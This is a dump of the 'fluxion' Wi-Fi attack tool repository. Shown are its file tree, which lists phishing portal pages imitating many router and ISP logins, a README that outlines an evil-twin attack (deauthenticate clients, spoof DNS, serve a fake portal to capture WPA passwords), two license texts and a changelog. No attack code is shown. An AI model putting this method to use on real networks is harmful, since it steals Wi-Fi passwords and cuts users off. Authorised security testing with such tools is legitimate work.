Full Code of thehackingsage/fluxion for AI

master 55916ad72856 cached
164 files
2.1 MB
566.1k tokens
258 symbols
1 requests
Download .txt
Showing preview only (2,267K chars total). Download the full file or copy to clipboard to get everything.
Repository: thehackingsage/fluxion
Branch: master
Commit: 55916ad72856
Files: 164
Total size: 2.1 MB

Directory structure:
gitextract_6k3b4_6k/

├── LICENSE
├── README.md
├── _config.yml
├── docs/
│   ├── LICENSE
│   └── changelog
├── fluxion.sh
├── install/
│   ├── add.py
│   ├── arch-install.sh
│   ├── install.sh
│   └── remove.py
├── language/
│   ├── bundle.sh
│   ├── ch
│   ├── cz
│   ├── en
│   ├── esp
│   ├── fr
│   ├── ger
│   ├── gr
│   ├── it
│   ├── ro
│   ├── source
│   ├── svn
│   └── tu
├── lib/
│   ├── airmon/
│   │   └── airmon.sh
│   ├── exitmode.sh
│   └── site/
│       └── index
├── locale/
│   ├── de_DE.py
│   └── en_EN.py
├── siteinstaller.py
└── sites/
    ├── Login-Xfinity/
    │   ├── Xfinity_files/
    │   │   ├── base.js
    │   │   ├── base_95x.js
    │   │   ├── common-min.css
    │   │   ├── common-min.js
    │   │   ├── json2.js
    │   │   ├── mib.js
    │   │   ├── mib2.js
    │   │   ├── print.css
    │   │   ├── underscore.js
    │   │   └── w
    │   ├── index.html
    │   └── upgrading.html
    ├── arris_esp/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── belkin_eng/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── fritzbox_de/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── fritzbox_en/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── fritzbox_eng/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── genenix_de/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── google_de/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── hts-cache/
    │   ├── doit.log
    │   ├── new.lst
    │   └── new.txt
    ├── huawei_eng/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── movistar_esp/
    │   ├── error.html
    │   ├── final.html
    │   ├── index.html
    │   └── styles/
    │       ├── components.css
    │       └── login.css
    ├── netgear/
    │   ├── Login-Netgear.zip_base64.txt
    │   ├── adv-wifi.htm
    │   └── css/
    │       ├── MNUAccess.css
    │       ├── button.css
    │       ├── help.css
    │       ├── jScrollPane.css
    │       ├── jquery.flexbox.css
    │       ├── jquery.jscrollpane.css
    │       ├── mainpage.css
    │       ├── menu.css
    │       ├── qos_tabs.css
    │       ├── scrollbar.css
    │       ├── standalone.css
    │       ├── table.css
    │       ├── table_noh.css
    │       └── tabs.css
    ├── netgear_eng/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── netgear_esp/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── neutra/
    │   ├── ara
    │   ├── bg
    │   ├── cn
    │   ├── cz
    │   ├── dan
    │   ├── en
    │   ├── esp
    │   ├── fr
    │   ├── ger
    │   ├── gr
    │   ├── he
    │   ├── hu
    │   ├── id
    │   ├── it
    │   ├── nl
    │   ├── no
    │   ├── pl
    │   ├── por
    │   ├── ro
    │   ├── rus
    │   ├── srb
    │   ├── svn
    │   ├── th
    │   └── tr
    ├── telekom/
    │   ├── Telekom Login-Dateien/
    │   │   ├── components.css
    │   │   └── login.css
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── thehackingsage.txt
    ├── tplink/
    │   ├── Upgrade-TP-LINK.zip_base64.txt
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    ├── verizon/
    │   ├── Login-Verizon.zip_base64.txt
    │   └── Verizon.html
    ├── vodafone_esp/
    │   ├── ayuda.htm
    │   ├── error.html
    │   ├── final.html
    │   ├── index.htm
    │   ├── info.css
    │   ├── info.html
    │   └── info2.css
    ├── ziggo2_nl/
    │   ├── error.html
    │   ├── final.html
    │   └── index.html
    └── ziggo_nl/
        ├── error.html
        ├── final.html
        └── index.html

================================================
FILE CONTENTS
================================================

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2018 Mr. SAGE

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

================================================
FILE: README.md
================================================
# Fluxion by Mr. SAGE 

<p align="center"><img src="https://github.com/thehackingsage/Fluxion/blob/master/logos/Logo.png?raw=true" /></p>

"Fluxion is the Future of MITM WPA Attacks" It is a remake by Mr. SAGE with less bugs and more functionality. It's compatible with the latest release of Kali (rolling). The attack is mostly manual, but experimental versions will automatically handle most functionality from the stable releases. (https://thehackingsage.github.io/Fluxion/)

## How It Works :

* Scan the networks.
* Capture a handshake (can't be used without a valid handshake, it's necessary to verify the password)
* Use WEB Interface
* Launch a FakeAP instance to imitate the original access point
* Spawns a MDK3 process, which deauthenticates all users connected to the target network, so they can be lured to connect to the FakeAP and enter the WPA password.
* A fake DNS server is launched in order to capture all DNS requests and redirect them to the host running the script
* A captive portal is launched in order to serve a page, which prompts the user to enter their WPA password
* Each submitted password is verified by the handshake captured earlier
* The attack will automatically terminate, as soon as a correct password is submitted..

## How To Install? & How To Use? :
Watch This Tutorial : [Click Here](https://www.youtube.com/watch?v=i6VN5C2qLK4) (Tutorial in Hindi)

## Changelog :
Fluxion gets weekly updates with new features, improvements and bugfixes.
Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).

## Requirements :
A Linux-based operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling. Kali 2 & 2016 support the latest aircrack-ng versions. An external wifi card is recommended.

## Disclaimer :

Fluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s).  Be sure that you understand and are complying with the Fluxion licenses and laws in your area.  In other words, don't be stupid, don't be an asshole, and use this tool responsibly and legally.

# License :

[MIT Licence](https://github.com/thehackingsage/Fluxion/blob/master/LICENSE)

Thats It... If You Like This Repo. Please Share This With Your Friends..

& Don't Forget To Follow Me At [Twitter](https://www.twitter.com/thehackingsage), [Instagram](https://www.instagram.com/thehackingsage), [Github](https://www.github.com/thehackingsage) & Don't Forget To SUBSCRIBE My [YouTube](https://www.youtube.com/channel/UCYK1n9A4TUq1CvGc6F3DzoA) Channel..!!!

***Thankyou.***
***Keep Visiting..***
***Enjoy.!!! :)***


================================================
FILE: _config.yml
================================================
theme: jekyll-theme-hacker

================================================
FILE: docs/LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    {one line to give the program's name and a brief idea of what it does.}
    Copyright (C) {year}  {name of author}

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    {project}  Copyright (C) {year}  {fullname}
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.


================================================
FILE: docs/changelog
================================================
----------------------- General ----------------------- 
revision=1
Modified by Mr. SAGE (@thehackingsage)

---------------------- Changelog ---------------------- 

[Version: 2 , Revision 1]

- rewrite code
- move files
	- exitmode to lib/
	- source files to language

- improve handeling 
- remove disclaimer
- remove git support
- add checkupdate function
- fix airmon file 

---------------------- Changelog ---------------------- 


================================================
FILE: fluxion.sh
================================================
#!/bin/bash

